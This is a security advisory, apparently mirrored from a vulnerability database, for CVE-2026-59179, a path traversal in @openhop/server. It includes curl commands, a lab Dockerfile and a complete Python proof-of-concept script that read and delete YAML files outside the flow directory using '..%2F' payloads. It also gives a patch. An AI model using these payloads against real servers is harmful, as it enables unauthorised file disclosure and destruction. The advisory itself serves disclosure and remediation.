GHSA-G72F-JW3W-MGH7
Vulnerability from github – Published: 2026-09-09 23:51 – Updated: 2026-09-09 23:51Path Traversal in Flow ID File Operations
Summary
@openhop/server passes unsanitized HTTP route parameters directly to path.join() when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server can read arbitrary .yaml files accessible to the OpenHop process outside the configured flow directory, and can delete arbitrary .yaml files at any path reachable by the process. Because CORS is set to origin: true (allow all origins), a victim's browser can be used to exploit the vulnerability against a loopback-bound instance. Docker deployments bind HOST=0.0.0.0 by default, enabling direct remote exploitation. CVSS Base Score: 8.3 (High).
Details
FlowStore.filePath() in packages/server/src/store.ts:52–53 constructs a filesystem path by concatenating the caller-supplied id directly into path.join:
// packages/server/src/store.ts:52-53
private filePath(id: string): string {
return join(this.dir, `${id}.yaml`)
}
This result is consumed by two sinks:
- Read (
packages/server/src/store.ts:78):readFile(this.filePath(id), 'utf-8') - Delete (
packages/server/src/store.ts:105):unlink(this.filePath(id))
The id value originates from unauthenticated Fastify HTTP route parameters:
GET /api/flows/:id(packages/server/src/routes.ts:306) →store.get(id)at line 333–335DELETE /api/flows/:id(packages/server/src/routes.ts:509) →store.delete(id)at line 539–541
The route parameter schema at packages/server/src/routes.ts:315 and 519 declares only type: 'string' with no pattern constraint or allowlist. Fastify's underlying router (find-my-way) applies decodeURIComponent to route parameters, so the URL segment ..%2Fvictim is decoded to ../victim before it reaches application code. Node.js path.join('/data/flows', '../victim.yaml') then normalizes to /data/victim.yaml, escaping the configured data directory.
Additionally, packages/server/src/index.ts:37 registers CORS with origin: true, permitting any browser origin to make cross-origin requests to the server. This makes the vulnerability exploitable via a malicious webpage against users running OpenHop locally.
Full data-flow (read path):
- HTTP
GET /api/flows/..%2Fvictimreceived (routes.ts:306) find-my-waydecodes..%2Fvictim→req.params.id = '../victim'(routes.ts:333)store.get('../victim')→filePath('../victim')→join('/data/flows', '../victim.yaml')→/data/victim.yaml(store.ts:52–53)readFile('/data/victim.yaml', 'utf-8')returns file contents (store.ts:78)- Server responds HTTP 200 with YAML-parsed JSON body
Full data-flow (delete path):
- HTTP
DELETE /api/flows/..%2Fdelete-mereceived (routes.ts:509) find-my-waydecodes..%2Fdelete-me→req.params.id = '../delete-me'(routes.ts:539)store.delete('../delete-me')→filePath('../delete-me')→join('/data/flows', '../delete-me.yaml')→/data/delete-me.yaml(store.ts:52–53)unlink('/data/delete-me.yaml')removes the file (store.ts:105)- Server responds HTTP 204
PoC
Environment setup (Docker):
# Build from repository root
docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .
# Run with HOST=0.0.0.0 (default in the Dockerfile ENV)
docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001
The container creates /data/flows/ as the configured flow store (OPENHOP_DATA_DIR=/data/flows) and places /data/victim.yaml and /data/delete-me.yaml outside that directory as traversal targets.
Attack 1 — Read file outside flow store:
curl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim'
Expected response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"id":"victim","meta":{"title":"SECRET_OUTSIDE_FILE","description":"This file lives outside the configured flow store directory"},"flow":{"nodes":[{"id":"a","label":"Sensitive Data","type":"service"}]},"version":1,"createdAt":"2026-06-20T00:00:00.000Z","updatedAt":"2026-06-20T00:00:00.000Z"}
Attack 2 — Delete file outside flow store:
curl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me'
Expected response:
HTTP/1.1 204 No Content
Verify deletion:
docker exec openhop-vuln-001 sh -c 'test -e /data/delete-me.yaml && echo exists || echo deleted'
# Output: deleted
Automated PoC script:
python3 poc.py 127.0.0.1 8799
Recommended fix:
--- a/packages/server/src/store.ts
+++ b/packages/server/src/store.ts
+const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/
+
private filePath(id: string): string {
+ if (!FLOW_ID_PATTERN.test(id)) {
+ throw new Error('Invalid flow id')
+ }
return join(this.dir, `${id}.yaml`)
}
Impact
This is a Path Traversal (CWE-22) vulnerability. The .yaml file extension restriction limits confidentiality impact to YAML-format files (C:L), but the delete path allows permanent destruction of any .yaml file the process can reach (I:H, A:H).
Affected parties:
- Users running
openhop servelocally — exploitable via a malicious webpage due tocors({ origin: true })allowing all browser origins to make cross-origin requests tolocalhost:8799. - Docker/server deployments —
HOST=0.0.0.0is set by default in the official Docker environment, making all three routes directly reachable from the network without authentication.
An attacker can: (1) read the contents of any .yaml file accessible to the OpenHop process, potentially leaking application secrets, configuration data, or other YAML-serialized data; (2) permanently delete any .yaml file accessible to the process, causing data loss or disruption of services that depend on those files.
Reproduction artifacts
Dockerfile
# Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
#
# Build context: the repository root (naorsabag/openhop)
# Usage:
# docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .
# docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001
#
# Data layout inside the container:
# /data/flows/ <- OPENHOP_DATA_DIR (the configured flow store)
# /data/victim.yaml <- OUTSIDE the flow store (path traversal read target)
# /data/delete-me.yaml <- OUTSIDE the flow store (path traversal delete target)
#
# The exploit payload "..%2Fvictim" is URL-decoded by find-my-way to "../victim",
# so path.join('/data/flows', '../victim.yaml') resolves to /data/victim.yaml.
FROM node:22-alpine
WORKDIR /app
# Copy package manifests so npm can resolve workspace dependency graph.
COPY package*.json ./
COPY packages/server/package*.json packages/server/
COPY packages/shared/package*.json packages/shared/
COPY packages/cli/package*.json packages/cli/
COPY packages/web/package*.json packages/web/
# Copy TypeScript configs and source files BEFORE npm install.
# The @openhop/server package has a "prepare" lifecycle that runs
# `tsc && esbuild` during npm install, so all sources must be present.
COPY tsconfig.base.json ./
COPY packages/server/tsconfig*.json packages/server/
COPY packages/server/src/ packages/server/src/
COPY packages/shared/src/ packages/shared/src/
# Install all workspace dependencies.
# The @openhop/server prepare script will compile to dist/server.js.
# We run the server via tsx (direct TypeScript), so the compiled output
# is not required at runtime but the prepare step must not fail.
RUN npm install
# Set up the data directory layout for the PoC.
# /data/flows/ -> configured as OPENHOP_DATA_DIR (the "safe" directory)
# /data/victim.yaml -> outside the store; represents a sensitive file that
# MUST NOT be reachable via the API without sanitization
RUN mkdir -p /data/flows && \
printf 'id: victim\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: SECRET_OUTSIDE_FILE\n description: This file lives outside the configured flow store directory\n flow:\n nodes:\n - id: a\n label: Sensitive Data\n' \
> /data/victim.yaml && \
printf 'id: delete-me\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: DELETE_TARGET_FILE\n flow:\n nodes:\n - id: b\n label: Delete Target\n' \
> /data/delete-me.yaml
# Server listens on 8799 inside the container.
EXPOSE 8799
# OPENHOP_DATA_DIR constrains the flow store to /data/flows/.
# HOST=0.0.0.0 makes the server reachable from outside the container.
ENV OPENHOP_DATA_DIR=/data/flows
ENV HOST=0.0.0.0
ENV PORT=8799
# Run the server via tsx (TypeScript runner; no compile step needed at runtime).
CMD ["npx", "tsx", "packages/server/src/index.ts"]
poc.py
#!/usr/bin/env python3
"""
PoC: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
Target: @openhop/server 0.3.5 / openhop CLI 0.3.6
VULN-001 — CVSS 8.3 High
Vulnerability:
FlowStore.filePath(id) at packages/server/src/store.ts:52 performs:
return join(this.dir, `${id}.yaml`)
with no sanitization on `id`. The route GET /api/flows/:id passes
`req.params.id` (decoded by find-my-way via decodeURIComponent) directly
to store.get(id), which calls filePath(). A payload of "..%2Fvictim" in
the URL is decoded to "../victim", causing path.join to escape the
configured data directory.
Attack Vectors:
READ: GET /api/flows/..%2Fvictim -> reads /data/victim.yaml
DELETE: DELETE /api/flows/..%2Fdelete-me -> deletes /data/delete-me.yaml
Both routes are unauthenticated (routes.ts:306, 509).
Usage:
python3 poc.py [host] [port]
python3 poc.py 127.0.0.1 8799
"""
import http.client
import json
import sys
import time
HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8799
# URL-encoded payloads: %2F is a percent-encoded "/" character.
# find-my-way treats ".." and "%2F" together as a single path segment
# (no literal "/" split), then decodes the segment to "../victim".
TRAVERSAL_GET_PATH = "/api/flows/..%2Fvictim"
TRAVERSAL_DELETE_PATH = "/api/flows/..%2Fdelete-me"
def wait_for_server(host: str, port: int, timeout: int = 60) -> bool:
"""Poll until the OpenHop server returns any response on /api/flows."""
deadline = time.time() + timeout
print(f"[*] Waiting for server at http://{host}:{port} ...")
while time.time() < deadline:
try:
conn = http.client.HTTPConnection(host, port, timeout=2)
conn.request("GET", "/api/flows")
r = conn.getresponse()
r.read()
conn.close()
print(f"[+] Server ready (HTTP {r.status} on /api/flows)")
return True
except Exception:
time.sleep(1)
return False
def raw_http(method: str, host: str, port: int, path: str):
"""
Send an HTTP request with the path exactly as given — no normalization.
http.client does NOT percent-decode or normalize the path string, so
'..%2F' reaches the server verbatim and Fastify's router decodes it.
"""
conn = http.client.HTTPConnection(host, port, timeout=10)
conn.request(method, path)
resp = conn.getresponse()
body = resp.read()
conn.close()
return resp.status, body
def main() -> int:
print("=" * 62)
print("VULN-001 Path Traversal in OpenHop Flow ID File Operations")
print("=" * 62)
print(f"[*] Target : http://{HOST}:{PORT}")
print(f"[*] Payload : ..%2F (decoded by find-my-way to ../)")
print(f"[*] Store : /data/flows/ (OPENHOP_DATA_DIR)")
print(f"[*] Outside : /data/victim.yaml /data/delete-me.yaml")
print()
if not wait_for_server(HOST, PORT):
print("[-] Server did not become ready within timeout. ABORT.")
return 1
print()
passed_read = False
passed_delete = False
# ── Attack 1: Read a file outside the configured flow store ─────────
print("[*] Attack 1 — READ path traversal")
print(f" Request : GET {TRAVERSAL_GET_PATH}")
print(f" Decoded : id = ../victim")
print(f" Resolves: path.join('/data/flows', '../victim.yaml')")
print(f" = /data/victim.yaml (outside flow store)")
status, body = raw_http("GET", HOST, PORT, TRAVERSAL_GET_PATH)
body_text = body.decode("utf-8", errors="replace")
print(f" Status : {status}")
print(f" Body : {body_text[:600]}")
if status == 200:
try:
data = json.loads(body_text)
title = data.get("meta", {}).get("title", "")
if "SECRET_OUTSIDE_FILE" in title:
print("[PASS] READ confirmed: HTTP 200 returned content of /data/victim.yaml")
print(f" Leaked title field = {title!r}")
passed_read = True
else:
print(f"[WARN] HTTP 200 but unexpected title: {title!r}")
print(f" Full response: {data}")
# Still count as read-traversal success if we got a valid flow back
if "meta" in data or "flow" in data:
print("[PASS] READ confirmed: path traversal returned a flow from outside store")
passed_read = True
except json.JSONDecodeError:
print(f"[FAIL] HTTP 200 but response is not JSON: {body_text[:200]}")
else:
print(f"[FAIL] Expected HTTP 200, got {status}")
print()
# ── Attack 2: Delete a file outside the configured flow store ────────
print("[*] Attack 2 — DELETE path traversal")
print(f" Request : DELETE {TRAVERSAL_DELETE_PATH}")
print(f" Decoded : id = ../delete-me")
print(f" Resolves: path.join('/data/flows', '../delete-me.yaml')")
print(f" = /data/delete-me.yaml (outside flow store)")
status, body = raw_http("DELETE", HOST, PORT, TRAVERSAL_DELETE_PATH)
body_text = body.decode("utf-8", errors="replace")
print(f" Status : {status}")
if body_text:
print(f" Body : {body_text[:200]}")
if status in (200, 204):
print(f"[PASS] DELETE confirmed: HTTP {status} — /data/delete-me.yaml deleted outside store")
passed_delete = True
else:
print(f"[FAIL] Expected HTTP 204, got {status}")
# ── Summary ─────────────────────────────────────────────────────────
print()
print("=" * 62)
if passed_read and passed_delete:
print("[RESULT] PASS — Both read and delete path traversal exploited")
return 0
elif passed_read:
print("[RESULT] PARTIAL — Read traversal confirmed, delete did not succeed")
return 1
else:
print("[RESULT] FAIL — Exploit did not succeed")
return 2
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.3.5"
},
"package": {
"ecosystem": "npm",
"name": "@openhop/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59179"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-09T23:51:59Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Path Traversal in Flow ID File Operations\n\n### Summary\n\n`@openhop/server` passes unsanitized HTTP route parameters directly to `path.join()` when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server can read arbitrary `.yaml` files accessible to the OpenHop process outside the configured flow directory, and can delete arbitrary `.yaml` files at any path reachable by the process. Because CORS is set to `origin: true` (allow all origins), a victim\u0027s browser can be used to exploit the vulnerability against a loopback-bound instance. Docker deployments bind `HOST=0.0.0.0` by default, enabling direct remote exploitation. CVSS Base Score: **8.3 (High)**.\n\n### Details\n\n`FlowStore.filePath()` in `packages/server/src/store.ts:52\u201353` constructs a filesystem path by concatenating the caller-supplied `id` directly into `path.join`:\n\n```ts\n// packages/server/src/store.ts:52-53\nprivate filePath(id: string): string {\n return join(this.dir, `${id}.yaml`)\n}\n```\n\nThis result is consumed by two sinks:\n\n- **Read** (`packages/server/src/store.ts:78`): `readFile(this.filePath(id), \u0027utf-8\u0027)`\n- **Delete** (`packages/server/src/store.ts:105`): `unlink(this.filePath(id))`\n\nThe `id` value originates from unauthenticated Fastify HTTP route parameters:\n\n- `GET /api/flows/:id` (`packages/server/src/routes.ts:306`) \u2192 `store.get(id)` at line 333\u2013335\n- `DELETE /api/flows/:id` (`packages/server/src/routes.ts:509`) \u2192 `store.delete(id)` at line 539\u2013541\n\nThe route parameter schema at `packages/server/src/routes.ts:315` and `519` declares only `type: \u0027string\u0027` with no pattern constraint or allowlist. Fastify\u0027s underlying router (`find-my-way`) applies `decodeURIComponent` to route parameters, so the URL segment `..%2Fvictim` is decoded to `../victim` before it reaches application code. Node.js `path.join(\u0027/data/flows\u0027, \u0027../victim.yaml\u0027)` then normalizes to `/data/victim.yaml`, escaping the configured data directory.\n\nAdditionally, `packages/server/src/index.ts:37` registers CORS with `origin: true`, permitting any browser origin to make cross-origin requests to the server. This makes the vulnerability exploitable via a malicious webpage against users running OpenHop locally.\n\n**Full data-flow (read path):**\n\n1. HTTP `GET /api/flows/..%2Fvictim` received (`routes.ts:306`)\n2. `find-my-way` decodes `..%2Fvictim` \u2192 `req.params.id = \u0027../victim\u0027` (`routes.ts:333`)\n3. `store.get(\u0027../victim\u0027)` \u2192 `filePath(\u0027../victim\u0027)` \u2192 `join(\u0027/data/flows\u0027, \u0027../victim.yaml\u0027)` \u2192 `/data/victim.yaml` (`store.ts:52\u201353`)\n4. `readFile(\u0027/data/victim.yaml\u0027, \u0027utf-8\u0027)` returns file contents (`store.ts:78`)\n5. Server responds HTTP 200 with YAML-parsed JSON body\n\n**Full data-flow (delete path):**\n\n1. HTTP `DELETE /api/flows/..%2Fdelete-me` received (`routes.ts:509`)\n2. `find-my-way` decodes `..%2Fdelete-me` \u2192 `req.params.id = \u0027../delete-me\u0027` (`routes.ts:539`)\n3. `store.delete(\u0027../delete-me\u0027)` \u2192 `filePath(\u0027../delete-me\u0027)` \u2192 `join(\u0027/data/flows\u0027, \u0027../delete-me.yaml\u0027)` \u2192 `/data/delete-me.yaml` (`store.ts:52\u201353`)\n4. `unlink(\u0027/data/delete-me.yaml\u0027)` removes the file (`store.ts:105`)\n5. Server responds HTTP 204\n\n### PoC\n\n**Environment setup (Docker):**\n\n```bash\n# Build from repository root\ndocker build -f vuln-001/Dockerfile -t openhop-vuln-001 .\n\n# Run with HOST=0.0.0.0 (default in the Dockerfile ENV)\ndocker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001\n```\n\nThe container creates `/data/flows/` as the configured flow store (`OPENHOP_DATA_DIR=/data/flows`) and places `/data/victim.yaml` and `/data/delete-me.yaml` outside that directory as traversal targets.\n\n**Attack 1 \u2014 Read file outside flow store:**\n\n```bash\ncurl -i --path-as-is \u0027http://127.0.0.1:8799/api/flows/..%2Fvictim\u0027\n```\n\nExpected response:\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\n\n{\"id\":\"victim\",\"meta\":{\"title\":\"SECRET_OUTSIDE_FILE\",\"description\":\"This file lives outside the configured flow store directory\"},\"flow\":{\"nodes\":[{\"id\":\"a\",\"label\":\"Sensitive Data\",\"type\":\"service\"}]},\"version\":1,\"createdAt\":\"2026-06-20T00:00:00.000Z\",\"updatedAt\":\"2026-06-20T00:00:00.000Z\"}\n```\n\n**Attack 2 \u2014 Delete file outside flow store:**\n\n```bash\ncurl -i -X DELETE --path-as-is \u0027http://127.0.0.1:8799/api/flows/..%2Fdelete-me\u0027\n```\n\nExpected response:\n\n```http\nHTTP/1.1 204 No Content\n```\n\nVerify deletion:\n\n```bash\ndocker exec openhop-vuln-001 sh -c \u0027test -e /data/delete-me.yaml \u0026\u0026 echo exists || echo deleted\u0027\n# Output: deleted\n```\n\n**Automated PoC script:**\n\n```bash\npython3 poc.py 127.0.0.1 8799\n```\n\n**Recommended fix:**\n\n```diff\n--- a/packages/server/src/store.ts\n+++ b/packages/server/src/store.ts\n+const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/\n+\n private filePath(id: string): string {\n+ if (!FLOW_ID_PATTERN.test(id)) {\n+ throw new Error(\u0027Invalid flow id\u0027)\n+ }\n return join(this.dir, `${id}.yaml`)\n }\n```\n\n### Impact\n\nThis is a **Path Traversal (CWE-22)** vulnerability. The `.yaml` file extension restriction limits confidentiality impact to YAML-format files (C:L), but the delete path allows permanent destruction of any `.yaml` file the process can reach (I:H, A:H).\n\n**Affected parties:**\n\n- **Users running `openhop serve` locally** \u2014 exploitable via a malicious webpage due to `cors({ origin: true })` allowing all browser origins to make cross-origin requests to `localhost:8799`.\n- **Docker/server deployments** \u2014 `HOST=0.0.0.0` is set by default in the official Docker environment, making all three routes directly reachable from the network without authentication.\n\nAn attacker can: (1) read the contents of any `.yaml` file accessible to the OpenHop process, potentially leaking application secrets, configuration data, or other YAML-serialized data; (2) permanently delete any `.yaml` file accessible to the process, causing data loss or disruption of services that depend on those files.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22)\n#\n# Build context: the repository root (naorsabag/openhop)\n# Usage:\n# docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .\n# docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001\n#\n# Data layout inside the container:\n# /data/flows/ \u003c- OPENHOP_DATA_DIR (the configured flow store)\n# /data/victim.yaml \u003c- OUTSIDE the flow store (path traversal read target)\n# /data/delete-me.yaml \u003c- OUTSIDE the flow store (path traversal delete target)\n#\n# The exploit payload \"..%2Fvictim\" is URL-decoded by find-my-way to \"../victim\",\n# so path.join(\u0027/data/flows\u0027, \u0027../victim.yaml\u0027) resolves to /data/victim.yaml.\n\nFROM node:22-alpine\n\nWORKDIR /app\n\n# Copy package manifests so npm can resolve workspace dependency graph.\nCOPY package*.json ./\nCOPY packages/server/package*.json packages/server/\nCOPY packages/shared/package*.json packages/shared/\nCOPY packages/cli/package*.json packages/cli/\nCOPY packages/web/package*.json packages/web/\n\n# Copy TypeScript configs and source files BEFORE npm install.\n# The @openhop/server package has a \"prepare\" lifecycle that runs\n# `tsc \u0026\u0026 esbuild` during npm install, so all sources must be present.\nCOPY tsconfig.base.json ./\nCOPY packages/server/tsconfig*.json packages/server/\nCOPY packages/server/src/ packages/server/src/\nCOPY packages/shared/src/ packages/shared/src/\n\n# Install all workspace dependencies.\n# The @openhop/server prepare script will compile to dist/server.js.\n# We run the server via tsx (direct TypeScript), so the compiled output\n# is not required at runtime but the prepare step must not fail.\nRUN npm install\n\n# Set up the data directory layout for the PoC.\n# /data/flows/ -\u003e configured as OPENHOP_DATA_DIR (the \"safe\" directory)\n# /data/victim.yaml -\u003e outside the store; represents a sensitive file that\n# MUST NOT be reachable via the API without sanitization\nRUN mkdir -p /data/flows \u0026\u0026 \\\n printf \u0027id: victim\\nversion: 1\\ncreatedAt: \"2026-06-20T00:00:00.000Z\"\\nupdatedAt: \"2026-06-20T00:00:00.000Z\"\\nroot:\\n meta:\\n title: SECRET_OUTSIDE_FILE\\n description: This file lives outside the configured flow store directory\\n flow:\\n nodes:\\n - id: a\\n label: Sensitive Data\\n\u0027 \\\n \u003e /data/victim.yaml \u0026\u0026 \\\n printf \u0027id: delete-me\\nversion: 1\\ncreatedAt: \"2026-06-20T00:00:00.000Z\"\\nupdatedAt: \"2026-06-20T00:00:00.000Z\"\\nroot:\\n meta:\\n title: DELETE_TARGET_FILE\\n flow:\\n nodes:\\n - id: b\\n label: Delete Target\\n\u0027 \\\n \u003e /data/delete-me.yaml\n\n# Server listens on 8799 inside the container.\nEXPOSE 8799\n\n# OPENHOP_DATA_DIR constrains the flow store to /data/flows/.\n# HOST=0.0.0.0 makes the server reachable from outside the container.\nENV OPENHOP_DATA_DIR=/data/flows\nENV HOST=0.0.0.0\nENV PORT=8799\n\n# Run the server via tsx (TypeScript runner; no compile step needed at runtime).\nCMD [\"npx\", \"tsx\", \"packages/server/src/index.ts\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Path Traversal in OpenHop Flow ID File Operations (CWE-22)\nTarget: @openhop/server 0.3.5 / openhop CLI 0.3.6\nVULN-001 \u2014 CVSS 8.3 High\n\nVulnerability:\n FlowStore.filePath(id) at packages/server/src/store.ts:52 performs:\n return join(this.dir, `${id}.yaml`)\n with no sanitization on `id`. The route GET /api/flows/:id passes\n `req.params.id` (decoded by find-my-way via decodeURIComponent) directly\n to store.get(id), which calls filePath(). A payload of \"..%2Fvictim\" in\n the URL is decoded to \"../victim\", causing path.join to escape the\n configured data directory.\n\nAttack Vectors:\n READ: GET /api/flows/..%2Fvictim -\u003e reads /data/victim.yaml\n DELETE: DELETE /api/flows/..%2Fdelete-me -\u003e deletes /data/delete-me.yaml\n\nBoth routes are unauthenticated (routes.ts:306, 509).\n\nUsage:\n python3 poc.py [host] [port]\n python3 poc.py 127.0.0.1 8799\n\"\"\"\n\nimport http.client\nimport json\nimport sys\nimport time\n\nHOST = sys.argv[1] if len(sys.argv) \u003e 1 else \"127.0.0.1\"\nPORT = int(sys.argv[2]) if len(sys.argv) \u003e 2 else 8799\n\n# URL-encoded payloads: %2F is a percent-encoded \"/\" character.\n# find-my-way treats \"..\" and \"%2F\" together as a single path segment\n# (no literal \"/\" split), then decodes the segment to \"../victim\".\nTRAVERSAL_GET_PATH = \"/api/flows/..%2Fvictim\"\nTRAVERSAL_DELETE_PATH = \"/api/flows/..%2Fdelete-me\"\n\n\ndef wait_for_server(host: str, port: int, timeout: int = 60) -\u003e bool:\n \"\"\"Poll until the OpenHop server returns any response on /api/flows.\"\"\"\n deadline = time.time() + timeout\n print(f\"[*] Waiting for server at http://{host}:{port} ...\")\n while time.time() \u003c deadline:\n try:\n conn = http.client.HTTPConnection(host, port, timeout=2)\n conn.request(\"GET\", \"/api/flows\")\n r = conn.getresponse()\n r.read()\n conn.close()\n print(f\"[+] Server ready (HTTP {r.status} on /api/flows)\")\n return True\n except Exception:\n time.sleep(1)\n return False\n\n\ndef raw_http(method: str, host: str, port: int, path: str):\n \"\"\"\n Send an HTTP request with the path exactly as given \u2014 no normalization.\n http.client does NOT percent-decode or normalize the path string, so\n \u0027..%2F\u0027 reaches the server verbatim and Fastify\u0027s router decodes it.\n \"\"\"\n conn = http.client.HTTPConnection(host, port, timeout=10)\n conn.request(method, path)\n resp = conn.getresponse()\n body = resp.read()\n conn.close()\n return resp.status, body\n\n\ndef main() -\u003e int:\n print(\"=\" * 62)\n print(\"VULN-001 Path Traversal in OpenHop Flow ID File Operations\")\n print(\"=\" * 62)\n print(f\"[*] Target : http://{HOST}:{PORT}\")\n print(f\"[*] Payload : ..%2F (decoded by find-my-way to ../)\")\n print(f\"[*] Store : /data/flows/ (OPENHOP_DATA_DIR)\")\n print(f\"[*] Outside : /data/victim.yaml /data/delete-me.yaml\")\n print()\n\n if not wait_for_server(HOST, PORT):\n print(\"[-] Server did not become ready within timeout. ABORT.\")\n return 1\n\n print()\n passed_read = False\n passed_delete = False\n\n # \u2500\u2500 Attack 1: Read a file outside the configured flow store \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"[*] Attack 1 \u2014 READ path traversal\")\n print(f\" Request : GET {TRAVERSAL_GET_PATH}\")\n print(f\" Decoded : id = ../victim\")\n print(f\" Resolves: path.join(\u0027/data/flows\u0027, \u0027../victim.yaml\u0027)\")\n print(f\" = /data/victim.yaml (outside flow store)\")\n\n status, body = raw_http(\"GET\", HOST, PORT, TRAVERSAL_GET_PATH)\n body_text = body.decode(\"utf-8\", errors=\"replace\")\n\n print(f\" Status : {status}\")\n print(f\" Body : {body_text[:600]}\")\n\n if status == 200:\n try:\n data = json.loads(body_text)\n title = data.get(\"meta\", {}).get(\"title\", \"\")\n if \"SECRET_OUTSIDE_FILE\" in title:\n print(\"[PASS] READ confirmed: HTTP 200 returned content of /data/victim.yaml\")\n print(f\" Leaked title field = {title!r}\")\n passed_read = True\n else:\n print(f\"[WARN] HTTP 200 but unexpected title: {title!r}\")\n print(f\" Full response: {data}\")\n # Still count as read-traversal success if we got a valid flow back\n if \"meta\" in data or \"flow\" in data:\n print(\"[PASS] READ confirmed: path traversal returned a flow from outside store\")\n passed_read = True\n except json.JSONDecodeError:\n print(f\"[FAIL] HTTP 200 but response is not JSON: {body_text[:200]}\")\n else:\n print(f\"[FAIL] Expected HTTP 200, got {status}\")\n\n print()\n\n # \u2500\u2500 Attack 2: Delete a file outside the configured flow store \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"[*] Attack 2 \u2014 DELETE path traversal\")\n print(f\" Request : DELETE {TRAVERSAL_DELETE_PATH}\")\n print(f\" Decoded : id = ../delete-me\")\n print(f\" Resolves: path.join(\u0027/data/flows\u0027, \u0027../delete-me.yaml\u0027)\")\n print(f\" = /data/delete-me.yaml (outside flow store)\")\n\n status, body = raw_http(\"DELETE\", HOST, PORT, TRAVERSAL_DELETE_PATH)\n body_text = body.decode(\"utf-8\", errors=\"replace\")\n\n print(f\" Status : {status}\")\n if body_text:\n print(f\" Body : {body_text[:200]}\")\n\n if status in (200, 204):\n print(f\"[PASS] DELETE confirmed: HTTP {status} \u2014 /data/delete-me.yaml deleted outside store\")\n passed_delete = True\n else:\n print(f\"[FAIL] Expected HTTP 204, got {status}\")\n\n # \u2500\u2500 Summary \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print()\n print(\"=\" * 62)\n if passed_read and passed_delete:\n print(\"[RESULT] PASS \u2014 Both read and delete path traversal exploited\")\n return 0\n elif passed_read:\n print(\"[RESULT] PARTIAL \u2014 Read traversal confirmed, delete did not succeed\")\n return 1\n else:\n print(\"[RESULT] FAIL \u2014 Exploit did not succeed\")\n return 2\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-g72f-jw3w-mgh7",
"modified": "2026-09-09T23:51:59Z",
"published": "2026-09-09T23:51:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/naorsabag/openhop/security/advisories/GHSA-g72f-jw3w-mgh7"
},
{
"type": "WEB",
"url": "https://github.com/naorsabag/openhop/commit/c8190fbefa3a50e7b0c16c001d2e05b0e920cfb4"
},
{
"type": "PACKAGE",
"url": "https://github.com/naorsabag/openhop"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "@openhop/server: Path Traversal in Flow ID File Operations"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.